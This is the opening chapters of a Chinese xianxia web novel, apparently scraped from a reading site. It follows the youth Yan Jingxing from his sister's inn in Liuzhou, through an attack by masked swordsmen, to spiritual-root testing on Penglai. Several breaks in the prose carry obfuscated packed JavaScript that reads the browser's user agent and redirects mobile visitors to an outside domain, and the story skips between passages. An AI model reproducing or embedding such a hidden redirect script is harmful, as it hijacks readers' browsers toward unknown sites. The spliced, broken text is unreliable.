《废材小狗修仙手册》 1. 狡童 浮图十四年,桃元间,柳州城。 黑天甫一泛白,西施客栈照例挑起了半人高的店幌。 今日生意正好,晏采薇忙得两脚不沾地,偏偏该来打下手的弟弟此时不见人影。 她扫了一圈没找到人,两片柳眉顿时拧成一股,手上的抹布往路过的晏小丘肩上一搭,从一路宽阔的后背缝里挤到店门口。 女子面容清丽绝伦,端的一副标志的美人样。她挽起袖子,露出肤色白皙,肌肉线条流畅有力的一截小臂,手顺腰一叉,温婉的形象登时破灭:“晏景行!还不滚下来帮忙!” 刚看了没几页闲书的晏景行内心哀嚎一声,低头咬住手上树枝,空出手扯开衣襟,快速将好容易借到的书塞进去,避免沦为晏采薇的引火材料。 不多时,门口那棵遮天蔽日的古榕树上,绿枝繁叶沙沙晃动。仔细一看,便见晏景行脚下踩着粗壮枝干,手撑树根,身子向前一倾,从树上一跃而下。 少年身形修长,丰神俊朗,一身黑衣利落,掩藏了几分年轻气盛。手里拿着根光滑笔直的树枝,正着急忙慌地往束着银质条扣的箭袖里塞。 “拿过来。”晏采薇眼尖如鹰。 晏景行瞥着晏采薇的脸色,不情不愿地拖着脚步慢吞吞走过去,还没开口,手上精挑细选的树枝抽离,接着耳朵被用力揪住。 他连忙叫道:“诶诶疼疼疼!松手松手!晏西施,你要谋杀亲弟吗?” “我谋杀亲弟?我不被你气死就谢天谢地了!”晏采薇抖着树枝数落他,“送你去学堂,你不好好念书。让你在店里帮忙,你想方设法偷懒,得空就往树上钻。怎么,跟隔壁的三花猫拜把子,成兄弟了?” 晏景行抬手想揉发疼的耳朵,无奈晏采薇并不松手,只得嘀咕了句:“我跟它拜把子,你不就成它大姐了?” 他眼尾低垂,瞧上去一副丧气模样,实则偷偷用余光估量晏采薇怒火有多盛。 晏采薇看他这样,气不打一处,耳朵上的手换到衣襟,拎着他进了店。 店中熟客对此司空见惯,有的还戏谑道:“晏西施,忙着呢。” 晏采薇敷衍地回了个笑脸,把人拉到后面。 “姐,好姐姐,晏西施。”晏景行见势软下态度,“我都这么大的人了,老在店里帮忙算个什么事儿。再说了,小店生意再好,一年到头,也挣不了多少银子。” 晏采薇柳眉一挑,手上卸了力:“那你有何高见?” 晏景行眼睛一亮,那双狭长的丹凤眼微微向上一扬,眼尾便向外勾起些狡黠的弧度。 他拍了拍立起来的衣襟,在晏采薇眯缝着杏眼,打量自己的目光中,大着胆子道:“我有个主意,不如你拿些本金给我,我出去做生意……” 话还没说完,那只未消红的耳朵再次被晏采薇揪住。 “诶诶!怎么了!又怎么了!” 晏采薇冷哼一声,贝齿里磨出恨铁不成钢的字句:“晏景行,你长本事了啊,还想骗我的出嫁钱。什么叫这小店挣不了几两银子?要不是这小店,你早就睡大街上喝西北风了。少在这啰嗦,先去后厨把碗给我刷干净。再敢偷懒,看我怎么收拾你!” “是是是!”晏景行捂着充血的耳朵,疼得皱紧了眉头,背过身去时,口中小声嘀咕,“这脾气,真替我以后的姐夫担心。” “晏景行,你嘀嘀咕咕说什么呢?” “没、没有。”晏景行连忙摆手否认,一溜烟儿钻进了厨房。 哺时,客栈渐渐冷清下来。 日薄西山,余晖浅淡。 晏景行终于得了闲,靠在路边的古榕树下休憩。 正昏昏欲睡,听见有人叫他:“小公子,小公子!” 晏景行费力抬眼,见一中年男子背着包袱,站在他面前。一道影子落在脸上,中年男子背着光,正低头笑眯眯地看着他。 “什么事?”这样跟人说话到底没礼数,晏景行本想起身,谁知身体又累又困,一点儿力也使不出来,只得软躺在地上。 中年男子风尘扑扑,眉眼间却隐约透露几分仙风道骨之态,笑问道:“敢问小公子,此地可是桃元间柳州城?” 晏景行眼已睁不开了,勉强维持着清醒:“是,此地……正是柳州城。” 中年人的声音散如蒲絮,从头顶落下,飘到他耳中:“看来,我终于找到了。” 找到什么?晏景行正要问,手里多了个冰凉的物体。 晒了半日太阳浑身暖和,那物却冻得他一哆嗦,直教他从梦里惊醒。 “晏公子,吃饭了!”晏小丘在店里喊道。 晏景行粗喘着气坐起身,这番觉睡了跟没睡一样,浑身疲惫。 他低头盯着手里晶莹碧绿的玉佩,分明冰凉,手心却发烫。想丢又怕损坏,干脆回到店里,打算交给晏采薇。 晏采薇没收,她一向不喜欢这些易碎的东西。听见是做梦所得,反笑了晏景行一通,只当他是又拿连家小公子送的东西来逗趣自己。 翌日,晏景行起了个大早,被晏采薇派去给要赶往扬州城的客人租借马车。 西施客栈跟马老板的马铺相距不远,晏景行走得又快,不一会儿功夫就到了。 跟马老板讨价还价了好一阵,成功租到了两匹好马。 街市上,晏景行骑着棕色马匹,手里牵着一匹黑马,两腿晃晃悠悠挂在马背两侧。 走马过门何逍遥,柳州少年如晏郎。 晏景行骑得惬意,远远见一人牵着一头毛驴迎面走过来。 他不是没见过驴,但今日心情甚好,与毛驴擦肩而过时,玩心大起,伸腿轻撞了两下健壮的驴腚。 “欧——欧——欧啊——”毛驴感到有人在碰自己,扯着嗓子大叫。 “哈哈哈哈!”晏景行坐在马背上,被这毛驴的叫声逗得好一通乐。 “我说小公子啊,我这毛驴走得好好的,你无端踹它做什么?”那人回头,一脸莫名地摸了摸毛驴的耳朵,又给它顺了顺毛。 “得罪了。”晏景行止住笑意,抬手赔罪,“我无意冒犯你家小毛驴,只是方才突然脚底抽筋,不小心踢到了。” 那人闻言也没再多过追究,牵着毛驴继续往前走去了。 晏景行扯着缰绳盘腿坐在马背上,身下一颠,棕马不知为何躁动起来。 “诶,别动!”他脸色一变,尝试抚摸棕马无果,被带着往前跑去。 晏景行死死抱住手中缰绳,差点摔下马背。旁边的黑马并行奔跑,接住了他。 所幸街道宽阔,没有伤及他人。 两匹马跑到一截暗巷,寻了个墙角停下。 晏景行头晕眼花地从马背上滑下来,心跳还没缓和。 “你们……”他张口正要教训,看见地面新鲜出炉、热气腾腾上升的马粪,指着两匹马的手指迅速收回,嫌弃地一把捂住口鼻。 就在这时,墙内隐约传来对话声。 “错不了,就是他……带着那东西……” “……客栈……快点找……” 晏景行听得不真切,疑惑地探头去找声音的来源。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540490|170955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只见另一边的墙角,两名黑衣人在阴影下低声交谈。 他正要收回目光,其中一人警觉极高,猛然回头,脸上赤面獠牙的面具吓得他心脏骤停。 黑衣人凛冽的目光狠厉如刀,从面具后刺射向他。 青天白日,朗朗乾坤,晏景行后颈陡然升起了一股幽幽寒意。 他赶紧回头牵马,跨上马背,一扯缰绳,身下的马当即撒蹄跑了起来。 背后的黑衣人从阴影中走出来,目光紧盯着远去的少年。 西施客栈内,晏采薇正忙着收拾一桌残羹剩饭,晏景行着急忙慌地跑了进来,一看见晏采薇,跑过来一把将她抱住。 “没看见我正忙着吗?一边儿去。”晏采薇推开他,“马借回来了没有?” 晏景行精神萎靡地应了一声。 “你怎么了?”晏采薇回头,见他神色有些不对劲,忙抬起他的脸端详。 晏景行沉默了一下,回答道:“我回来时看见街上有两个人,不知为何脸上带着极恐怖的面具。其中一人瞪着我,那眼神就跟要杀人一样,别提多可怕了!” “哦。”晏采薇松了口气,摸了摸他的头,“都快十七岁的人了,胆子怎么还这么小,现在还害怕吗?” “不怕了。”晏景行摇了摇头,一脸认真,“看见你就不怕了,谁能有你可怕啊!” “晏景行,你皮又痒了是不是?”晏采薇一巴掌甩在他肩上,“还不快去送客人!” “好!”晏景行挨了一巴掌,心里恐惧都少了,搓着发疼的肩往店外跑。 门外,洛长生已经装好了马车,等着客人上去。 “长生!”晏景行抬手放在嘴边,“此去山高水远,务必小心。” 洛长生抓了抓脑袋:“景行哥,我就是去送趟客人跟货,不会有事的。” 说完,他转身上了马车。 晏景行正打算意思意思追两步,又见洛长生回头道:“景行哥,我不在店里的这些日子,你可得多帮帮采微姐啊!” 他提起的脚步放下,抬头望天,假装没听见。 夜色渐沉,吃完晚饭,晏景行习惯性收拾碗筷拿到后厨去洗,被晏采薇拦住。 “今天我来洗吧。”晏景行深知自家姐姐的性子,安静等着下文。 “家里的盐没了,你现在就去盐庄买些回来,别磨蹭啊,不然明早开店怕是来不及。” “好嘞。”晏景行爽快地放下手中的碗筷,拿上钱袋出了客栈,一路向南行。 西施客栈距离盐庄约有两公里,等到了盐庄,他额角沁出了一层薄汗。 提盐返家,天色比来时更深了些。 鬓边几缕墨发胡乱缠绕着视线,晏景行脚步不停,周遭瞑色扰得他心里惧意越来越大。 他虽整日游手好闲,看不进去半点书,但孤魂野鬼的故事却听了不少。 什么索命十三郎,公孙十四娘,其中人物面部本是一片模糊,此刻在这寂静夜下却又被逼得鲜活。 跑了一路,晏景行不仅没觉得热,反而感到一股阴风从四周的巷口吹灌而来。 他忍不住往旁边瞥了一眼,那是一户早已熄灯歇下的人家,门口高挂的红色灯笼下,赫然站立着一个黑衣人。 灯笼已是又旧又破,笼中短短半截残烛静静燃烧,风一吹,火身立刻映着黑影东摇西晃。 晏景行心中一骇,哪有胆子再去看第二眼,抱着盐袋逃命似的往前跑去。 黑衣人的确是在此等他不假,见人逃走,不慌不忙地跟在身后。 2. 狡童2 晏景行跑了许久才敢回头看,见身后没人跟上来,心里暂时松了一口气。 他不敢停留,继续往前跑,没跑几步,身子倏地僵在原地。 前方道路口,又一名黑衣人静静伫立。 看那架势,不是在等他又是在等谁? 晏景行心中暗道:白日打雷,半夜撞鬼,他怕是只能享年十六岁。可怜他家晏西施,直到她弟弟死,也没能嫁出去。 乱想间,双目被一道银光闪了一下。待看清是何物后,他脸色立刻白了几分。 黑衣人手中,分明是一把铮亮而泛着寒光的冷剑。 晏景行到底才十六,在柳州城平安长大,哪里见过这种舞刀弄枪的场面。 他双腿发软,险些站不住,但活命的念头,又让他不得不大着胆子开口询问道:“这位仁兄,我与你往日无仇,近日无冤,你何故对我下此毒手?” 黑衣人的目光落在晏景行腰间,剑尖轻点。顺着他的目光,晏景行低头一看,那块做梦得来的灵玉正在夜色中熠熠生辉。 这玉就像是一道催杀令,黑衣人当即扬剑杀来。晏景行又岂是乖乖等死之人,见状不妙,脚下生风地钻进一旁的巷道。 这柳州城,晏景行生活了十六年,哪条巷子该拐弯,哪条巷子走不通,他心里就跟有地图一样清楚。 为摆脱身后穷追不舍的的黑衣人,晏景行左拐右转,奔走在各个巷道。 穿过一段无人户的寂静深巷时,他灵光一闪,变转方向。 黑衣人见他翻身爬上一段不算太高的城墙,正欲往下跳,立即飞身过去,双脚踩住石墙边缘,举剑向前刺。 晏景行堪堪躲过,吓出一身冷汗,手中盐袋往下滑了一截,好险托住,连忙往下一跳。 这一剑落了空,黑衣人纵身往前一跃,准备再刺第二剑。 待听得“噗通”一道落水声响,河水溅起巨大的水花。 过了一会儿,晏景行才扒着城墙边缘从墙外爬进来。他扛着盐袋弯着腰身,衣摆处一片湿润。 警惕地看了看四周,确定没人后,他立即跳下城墙,寻着小路回去。 这段无人深巷的墙外,乃是护城河。 即使知道黑衣人短时间内不可能从河中爬起,晏景行仍心有余悸,苍白的脸色,直到看见西施客栈外的两盏明黄色灯笼才缓和。 “什么?有人要杀你?!”晏采薇在客栈等了晏景行半天,待他回来听见此话,忍不住蹙眉,“大晚上的说什么胡话?别是看花了眼。” 说完,她抱着盐袋,往厨房走去。 “我没有!”晏景行走上去挡在她面前,急忙解释,“我说的是真的。那两个黑衣人,一个在前,一个在后,就追着我跑!要不是我急中生智,想了招引鳖跳江,明天你就能看见我暴尸街头了!” “呸呸呸!瞎说什么呢!”晏采薇放把盐袋放在空罐里,转身朝他脑袋上拍了一巴掌,“叫你别去惹事,别去惹事。你要是在学堂好好给我待着,能遇上这些?” 晏景行脸色仍透着苍白,想来吓得不轻。 晏采薇看了心疼,缓了语气,摸了摸他的头:“好了好了,时候不早了,快去洗了睡吧,明天起来就什么事也没有了。” 晏景行应了一声,恹恹地回了房间。 翌日,鸡鸣几声,天光渐亮。 楼下的喧闹从香油入锅那刻就再也没停过。各种招呼吆喝,把被褥里的人生生吵醒。 晏景行一把掀开被子,心中感叹着日复一日年复一年的日子。只觉浮生若梦,光阴如客,实在百无聊赖。 晏小丘端着打好的热水在门外喊道:“晏公子,你醒了吗?” 晏景行“腾”一下翻身而起,走过去开了门,接过盆道:“你忙你的去吧。” “哎!”晏小丘点头,转身下了楼。 晏景行草草洗了脸漱了口,穿衣套鞋后,打算下楼帮忙。 刚走到楼梯口,两名身材高大的男子进了店。 他心里无端有股不好的预感,赶紧蹲下//身,从楼梯栏杆缝观望。 那两名男子身着黑衣,腰挂冷剑。脸上没戴面具,只是阴沉着脸,一副凶神恶煞样。 果真是昨夜那两人! 晏景行心中大骇,那把差点要了自己小命的冷剑,他绝不会认错! 晏采薇正在店内忙着跟几个伙计一同招呼客人,头顶的光线随着两道人影靠近而收敛压暗。 她抬头一看,见是两个身高体壮的黑衣人。 晏采薇心里一骇,面上却端着轻笑,语气如常道:“二位客官,快快请进。” 她引着二人到一张空桌前,语气柔和:“二位想吃什么?” 黑衣人落座,打量了四周一番,像是在找什么人。 晏采薇识相地没催促,等他们来来回回在店里看了好几遍,其中稍矮些的男子终于开口:“两碗汤饼,一盘牛肉,再来一壶酒。” 他声音沙哑如钝刀,听起来格外刺耳。 晏采薇扬声吩咐道:“小丘,这桌客人两碗汤饼,一盘牛肉一壶酒!” “好嘞!”晏小丘记下来,往厨房里走去。 晏采薇掐了掐发抖的手心,稳着表情。 这两人闻着一身血气,是真正刀尖尝血的人。 没等她转身,另一个人道:“掌柜的,你这店里还有其他人没有?” “其他人……”晏采薇红唇微张,两眼茫然,“不知客官何意?” 晏景行胸腔内心脏跳得飞快,他咽了咽唾沫,轻手轻脚地退了回去。 稍高一点的黑衣人瞥了另一人一眼,摇了摇头。 “没事。” 晏采薇心照不宣地在那两人走之前,一次也没叫过晏景行。 晏景行躲在屋里,早已饥肠辘辘。他托着腮,看向窗外,眉头紧皱。 “吱”一声轻响,门被人从外推开。 晏景行回头,见晏采薇端着食盘走进来,叫道:“姐。” 晏采薇瞥他一眼,把饭菜放到桌上:“你还真是惹到了凶神?” 晏景行胸口又慌又堵:“我这次真没惹事!” 晏采薇叹了口气:“饿久了吧?先吃,吃完再说。” 晏景行鼻头一酸,眼角止不住湿润,低头扒起了饭。 “姐,我真没骗你。” 晏采薇捏了捏山根,眉头不展:“我知道。” 见晏景行吃完了饭,放下筷子。晏采薇才说道:“那两人到底什么来头?看模样,不像是柳州城的人。” “岂止是不像柳州城的,”晏景行擦了擦嘴,“我看他们,也不像是桃元间的!” 这四海八荒,九州六界,分布着仙、魔、鬼、妖、天、人六股势力。 桃元间便是人界,共有九州。 不是桃元间人,便是异界妖魔。 “我昨天去借马,回来时意外碰见他们鬼鬼祟祟地在巷子口,我还什么都没听见呢,就被他们发现了,所以我就赶紧回来了。” 晏采薇心思一转:“会不会,是他们并不想让人看见?” 晏景行也思索道:“看他们的样子也不像什么好人,说不定在干什么见不得人的勾当。以为被我识破了,做贼心虚,所以想杀人灭口?” 晏采薇神色凝重:“不行,真是这样的话,绝不能让他们发现你。” 晏景行观察着晏采薇的神色,小心翼翼地问:“难道我要这样一直躲着不出去?” 晏采薇面露难色,心中也不知该如何是好。 “对了!”晏景行眼中一亮,想起一件事。 “姐姐,你还记得,我有个朋友叫连长机吗?” 这名字晏采薇自然不陌生,柳州城连家小公子,出了名的玉质金相。那样的人中龙凤,偏偏就跟自家弟弟成了关系密切的好友。 晏景行有些激动道:“前些日子他告诉我,他打算拜入蓬莱修仙,不如我跟他一起去吧。若是也能学到什么仙灵法术,不仅可以自保,说不定还能干一番大事!” 晏采薇反应极大,脸瞬间冷下,一声拍桌震得他神魂动荡:“不行,你不能去修仙!” 晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“胡说。”连长机反驳,双手伸展,顺势背靠船舷,“我明明五脏俱全。” 晏景行没跟他理论,视线在船上扫了圈,把所有人尽收眼帘。 有满脸络腮胡的壮汉,手无缚鸡之力的书生,年过半百的老人,各个年龄段的人都有着修道成仙的愿望。 蓬莱乃是海中奇山,上有仙人。只有见到飞龙形状的白色海雾,才有机会进入蓬莱。 船舶在海上行了三个月,风吹浪起,船身摇晃着前进。 期间,晏景行注意到一人衣着朴素,整天喝水充饥,有心分享干粮,又担心对方不愿接受。 连长机出主意,让他故意在擦肩而过时撞到对方,再以干粮赔罪。 谁知这一撞,直接把饿了几天的人撞昏了。 不过幸好,对方醒来后并未计较此事,也收下了他送的干粮。 这天,众人在海上漂泊许久,终于见到了飞龙状的海雾,船上当即爆发一阵惊呼。 晏景行看向一望无涯的远方,隐隐有了朦胧翠微的轮廓。 他嘴里叼着晏采薇做的干饼,对这段时间蹭吃蹭喝的连长机道:“是不是快到蓬莱了?” 身旁的连长机应了声:“应该快了。” 分不清是晨晓还是黄昏,船果然靠岸,蓬莱岛就在眼前。 船上乘客欢声雀跃,奔涌下船。 两岸江水迢迢,中间显出一条过道。仙雾四面而来,幽林抽蔓,鸟兽尽白。 虽是仙岛,却隐隐可见金楼玉阁,闻听一片笙歌仙乐。 晏景行与连长机一道收拾了东西下船,刚落地便被身后一人撞得一个踉跄。 晏景行回过头去一看,见是一个面容清秀的年轻男子,正局促地红着脸道歉:“实在对不住二位公子,在下不慎脚下不稳,冲撞了二位,多有得罪!” 正是之前他撞昏过的那位男子。 3. 狡童3 晏景行松了口气,摆了摆手:“不碍事。” 连长机道:“公子,原来是你。” 那人道:“我叫陆平生,字思涯。可否斗胆,与两位公子结个善缘?” 晏景行与连长机相视一笑:“自然。陆公子愿意,我们荣幸之极。” “在下晏如,字景行。” “在下连城,字长机。” 于是三人不撞不相识,当即结为好友,跟随人流一道前往蓬莱仙岛。 仙岛随处可见雪白鸟兽,云雾时散时聚。九州各地凡人入了新天地,皆心旷神怡,耳清目明。 半道上,晏景行看着四周拥挤的百姓,奇怪地问:“为何这些行人都急匆匆地往一处聚集?” 旁边一位当地百姓恰巧听见,热情解惑道:“几位公子有所不知,三月三,祭天穿。今天可是蓬莱仙岛的祭祀日天穿节,岛上的百姓全都去玉面台围观了!” 初来乍到就遇见这样有意思的事,晏景行连坐三月船的疲劳一扫而光,他用胳膊怼了怼连长机道:“我还没见过祭祀呢。走走走,我们也去瞧瞧热闹。” 说完,不等连长机与陆思涯二人回应,直接跟着那百姓走了去。 连长机等人只得无奈追了上去。 晏景行穿梭在人流中,见岛上除了蓬莱百姓,还有许多奇装异服的外来人员。 大街两侧,人山人海。任凭他踮高了脚尖,也只看见黑乎乎一片脑袋。 晏景行打量了四周建筑一番。长街两侧,高楼肆起。他选了一栋,跟在人群里往楼上走去。 高楼中自然也是人潮拥挤成一片,这氛围感染得晏景行激动不已,他好容易登了顶,位置虽稍低于那玉面高台,但也可一览全貌。 只见高台上,还另筑有一个圆台,约摸三尺来宽,那里已站了一位金衣银袖的仙子。 仙子以纱遮面,看不清容貌。耳前各垂一条红珠链,身影清隽卓然而立。 晏景行不是没见过美人,柳州民风开放,崇尚美丽,街上俊男俏女如云。 可台上那位,却似白玉含光,引得人移不开眼。 华楼坐满了四海八荒而至的宾客,金樽盛着桂酒,边上歌女吹着笙竽。 宽阔的大街上,火红的鸾鸟立于高大马车顶棚,长鸣一声飞转九霄。仙人们手执金芙蓉,石榴籽般排列在玉面高台外。 霓裳摇曳,衣带飘拂。 待听得一声敲鼓声,有一女子声如黄鹂宣布:“祭祀开始,闲杂人等请勿上台破坏祭礼!” “叮铃铃”的一道铃声响起,晏景行循声望去,仙子精瘦的腰间缠着一圈精致小巧的金铃。 她肌肤若冰雪,气质沾云露。头戴金冠,执剑而舞,冠上明珠随步晃动。 行动时衣袖翻飞起浪,静止时身形似玉雕冷塑。 原本喧闹的大街霎时沉静无声,此情此景,好不唯美,好不神圣。 秋水冰霜铸成了仙子独特的气质,她双目祈盼,伏下腰肢的刹那翩然回眸,与晏景行的目光不期而遇。 这个对视似乎有一世那么长,仅仅是一瞬的光景,却足以在人心里停留万年。 晏景行心头先是一个疾跳,周身血液都凝住了。胸口生出玉盘,有人从外面不由分说塞了把珠子进来,身体里立刻响起一阵玉珠乱蹦的震鸣。 震得他脑中一阵空白一阵满涨。 他连忙低下头,两耳隐隐发热、发烫,一时竟不敢抬头再看那仙子一眼。 天穿节,是黎民期盼风调雨顺、万物欣荣、庄稼丰收和百姓安乐的节日。 此时笙乐齐响,台下仙人缓缓而动。漫天飞花似雨,悠悠落在高台,点点沾在仙子发间。 她瘦腕翻转,挽了个剑花,挑起一片花瓣,轻轻吹落。 花瓣位置正好对着晏景行。 乱花迷人眼,随花瓣来处,晏景行用余光偷偷打量,正巧见那仙子也望着自己。 他被这一眼看得失了神,脑中哗然一片雪白。身边的嘈杂声全都消失不见,只余那清脆的铃声,一下又一下在他心间回响。 心曲凌乱间,晏景行想起柳州城那些天天求着家里要来修仙的人,心道:难怪数不清的人都想来这蓬莱,今日一见,算是彻底明白了。 仙子舞到一半,半回身间指尖一勾,解下腰间的一枚金铃。 她一手摇铃,一手舞剑,引得飞鸟尽白,排列成云。 仙子以剑挑铃,剑身灵活一击,将金铃掷向四面阁楼。 街上顿时一片哗然,众人纷纷涌跳起来争夺那枚金铃。 传闻天穿祭祀,能接到仙子所掷金铃的人,往后一年将洪福齐天,万事皆顺。 金铃稳稳落入一个人怀中,喧哗声像潮水退去。 阁楼上的人侧目望去,底下的人纷纷抬头,见是一个靠着朱栏而站、模样俊美无双的少年郎,感慨、羡慕、遗憾声此起彼伏。 晏景行低头看着手臂弯处那枚金铃,四肢顿时麻木,僵硬无比。 “晏景行!”身后传来连长机的声音。 连长机带着陆思涯艰难地挤过人潮,来到晏景行身边,看他一副神魂离天的模样,顿时吓了一跳。 “晏景行,你怎么了?跟丢了魂一样。” 晏景行眼睛眨也不眨,手里紧握那枚金铃,盯着上方的仙子:“你说,要想跟那样的仙子结下姻缘,该怎么做?” 连长机抬头看了一眼高台上惊艳绝伦的仙子,又转身看眼神都直了的好友:“大概要,重新投胎吧?” 身后的陆思涯倒像知道些什么:“这是蓬莱仙岛的祭祀,天穿节。跳祭祀舞的仙子,应当是蓬莱岛主的女儿。” 晏景行一下回过头,追问道:“你怎么知道?” 他目光太过炙热,陆思涯忍不住双目微垂:“来时做了些功课罢了。” “蓬莱仙岛目前的岛主名叫谢望归,他原本有一妻一妾,只是妾室红颜薄命,只剩妻子。他有两儿一女,那位蓬莱公主,名叫谢宝君,人称宝君仙子。” 晏景行把金铃小心放进袖中,看着一舞演毕,即将下台的仙子,心里涌起一股冲劲。 “我能上去跟她说两句话吗?” 连长机指了指高台附近密密麻麻的仙门弟子,意思不言而喻。 变故却在一瞬间发生。 高台上那道身影忽然如断线的纸鸢在风中抖了抖,竟一时不稳,摔下了高台! 其余舞女正跳得专心,而高台附近的仙门弟子,也是第一次遇见这种情况,竟被吓得忘了反应。 众宾间,唯独晏景行反应最快。他本就位于高台下的楼阁,此时直接踩着栏杆一跃而下,接住了掉落的人。 身旁的连长机连拦的机会都没有。 晏景行稳稳落地,双臂震痛,却因为怀中的重量松了口气。 他掂了掂怀里的人,第一感觉是好冷。 仙子浑身冰冷如凌霜,与晏景行火热的肌肤紧紧相贴。 似乎因为他“掂”的动作,她原本雪白的脸上浮起一抹薄红。 这抹薄红让晏景行注意到,仙子左眼眼尾有一颗极小的红痣,印在那里宛如雪中红梅,凑近了还能闻到香气。 可又不是梅香,反而是另一种可长存、不知名的冷香,闻过后,在鼻腔经久不散。 众人一阵惊呼大叫,随即是铺天盖地的拍掌声。 楼阁上的连长机见状,唯恐再生事端,连忙挤出人群下了楼。 晏景行抱着仙子,一动不动,全身僵硬地站立。怀中的温香软玉,四周的拍手称赞,让他整个人都有些飘忽,自然也就没有看见,怀里人眼中一闪而过的错愕。 “晏景行!” “宝君仙子!” 两道不同方向的叫声,不约而同齐响。 回过神来的仙子,轻松推开晏景行,脱离了他的怀抱。 晏景行感到怀中一空,心跳也跟着空了一拍。他望着整理服饰的仙子,心里感叹了句:这仙子长得可真高挑,竟比自己矮不了多少。 几名仙门弟子走上去,先是仔细检查了仙子是否受伤,确认无伤后,又走到晏景行面前,躬身行礼聊表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏景行看了看四周没有其他人,凑近了仙童低声问道:“仙童大人可知,这测灵,有没有什么讲究啊?” 仙童瞥了他一眼:“哪儿来什么讲究,不过就是挑选有天赋的弟子,着重培养。” 这一眼虽轻飘飘的,但没什么别的意味,晏景行点着头,一脸心领神会:“仙童大人,那你一定很有天赋吧?毕竟那么大的祭祀,这里都离不开你镇守。” 仙童挺了挺胸膛:“一般吧。” “仙童大人太谦虚了。”晏景行在他身旁比划了两下,“你一看就是仙门里有头有脸的人物,肯定知道不少事。” 仙童脸上越来越难以掩盖喜色,颇有些姿态地点了点头:“那是自然。” 晏景行也笑,把身子凑过去,神神秘秘道:“要想知道这蓬莱仙岛的岛主,公主都住在哪里,对你来说肯定不是难事吧?” “我还以为是什么呢。”仙童丝毫不觉自己被套了话,对这种问题有些不屑,“岛主跟宝君仙子,自然是居住在敛春阁了。” 说完,他又瞥了晏景行一眼:“你连这都不知道?” 晏景行拍了拍手,目光崇拜:“我初来乍到,的确不太了解,哪比得上仙童大人。” 他面上含笑,心里却忍不住感叹这仙童当真是对人不设防。 看着仙童离去的身影,连长机也忍不住道:“还真是,天真无邪之人啊!” 陆思涯见状,笑道:“蓬莱仙岛民风淳朴,常年不出岛,仙人多不通世故,这么一想,倒也难怪了。” 很快到了晚间时辰,蓬莱仙岛天色微暗,不过只有薄薄的一层暮色。虽然连月亮也无,但仙岛无黑夜,太阳西沉后只是光线昏暗了些。 晏景行用过特意为他们准备的晚膳,早早睡下,迎接第二天的测灵。 4. 微茫 次日,蓬莱天门人满为患,好在晏景行他们提前登了记,早众人一步到了宫殿。 蓬莱宫殿大多为金玉所建,楼影幢幢,殿前弟子如云,仙衣如花。 晏景行看得眼花缭乱,不辩方向。一名弟子从他面前路过,他抬手拍了拍那人的肩:“仙友,请问在哪里测灵根?” 谁知那人抖开他的手,如避瘟疫。腰间通体碧绿的金字腰牌,因这一动作荡起,流光闪烁的三个金字吸引了晏景行的注意。 沈端宁。 眼前的人长相似仙非仙,容貌俊美,五官清雅得像在瑶池洗过。尤其是一双眼睛,黑亮如宝石。但仔细看,却并不澄澈,眉宇含着股戾气,逢人便或瞪或乜。总之眼睛不是眼睛,鼻子不是鼻子,像谁欠了他万两黄金。 全然不知姓名暴露的沈端宁,目光在三人脸上施舍地蜻蜓点水般一扫,冷哼一声离开了。 晏景行不解,论身量相貌,他们三人也勉强配得上“出色”二字,怎么如此遭人嫌弃? 他无辜地跟连长机对视一眼,耸了下肩,没把这件事放在心上。 一名弟子注意到这一幕,过来好心道:“几位是要测灵吗?请随我来。” 他领着三人穿过三四座宫殿,到了一座稍静谧的殿堂,便离开了。 这座殿堂略有年头,没有其余宫殿看上去富丽堂皇。高悬着的金碧牌匾上,刻着“蓬莱殿”三字。 殿堂前的空地置有一尊仙雾腾升的白鼎,鼎中彩光粼粼,如梦如幻。 新生弟子们排列有序,像一株株刚栽种的树苗,笔直成尺。 测灵根的过程有条不紊,快轮到晏景行时,蓬莱殿里缓步走出一男一女,羽衣华服,气势威严。 几只雪白的长羽飞鸟鸣叫而来,盘旋在两人身侧,时而化作云雾,时而静立肩头。 全场霎时安静,落针可闻。 身后的陆思涯小声密语:“这二位大概就是岛主与岛主夫人了。” 晏景行好奇地望过去,本想看看岛主夫妇,却意外扫到一道白影匆匆掠过宫殿旁的走廊。 莫名的,他有些移不开眼睛,仿佛在哪儿见过那道背影。 现场的新弟子经受了一遍谢望归挑剔显然的目光洗礼,个个不自觉挺直了腰背。 粗略阅完人,谢望归抬手示意测灵继续。 前面的人高矮胖瘦各有差异,但测出来的结果还算过得去,因此晏景行对自己的资质底气十足。 他年轻体壮,四肢健全,从小被晏西施从街头撵到街尾,没断过骨也没生过病。 负责弟子点着名册道:“下一位,柳州晏景行,年十六。” 乍一听见自己的名字在千人场上响起,纵然再天生大胆,晏景行也不免有些忐忑。他喉结滚动了一下,握着拳走上前。 弟子抬头看了他一眼:“把手放进去,滴血测灵。” 这话乍一听,像是要测他跟这石头有无血缘之亲。 鼎中彩石晃出一圈圈波纹,晏景行压了压微翘的唇,手穿过波纹,感到丝丝凉意,随后指腹一点微痛,血珠涌出滴在彩石上。 片刻后,弟子诧异地看了看他,低头在纸上记录了一行字。 晏景行眉心一挑,暗道:看这人的反应,莫非他是个什么修道天才,天生奇骨? 下一秒,弟子几乎是用腹腔发音把结果传了出去: “晏景行,五灵根!” 